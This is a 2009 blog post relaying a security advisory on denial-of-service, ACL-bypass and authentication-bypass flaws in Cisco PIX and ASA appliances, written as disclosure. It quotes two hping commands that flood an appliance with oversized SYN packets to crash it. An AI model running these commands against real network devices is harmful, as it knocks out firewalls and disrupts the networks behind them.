Cisco PIX & ASA Multiple DoS, ACL Bypass, & Authentication Bypass Vulnerabilities (Bugtraq ID:34429)

Posted: 2009/04/13 in Hardware News, Information Security, Proof of Concept, Security Disclosures, Security News
Tags:

Some fairly critical issues disclosed on a very popular security product.

Cisco PIX Security Appliance and ASA 5500 Series Adaptive Security Appliance are prone to multiple denial-of-service vulnerabilities, an ACL-bypass vulnerability, and an authentication-bypass vulnerability.

Read More Here …
An attacker can use readily available network utilities to exploit these issues.
The following example data is sufficient to exploit the denial-of-service issue affecting PIX and ASA:

/*Utilize 1550 blocks on an ASA to trigger a crash...*/
hping --fast -p 22 -w 1518 -S -d 1480 -a 10.22.1.1 10.22.1.2

/* Trigger the vuln a bit faster */
hping --fast -p 22 -w 1518 -S -d 26201 .a 10.22.1.1 10.22.1.2

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s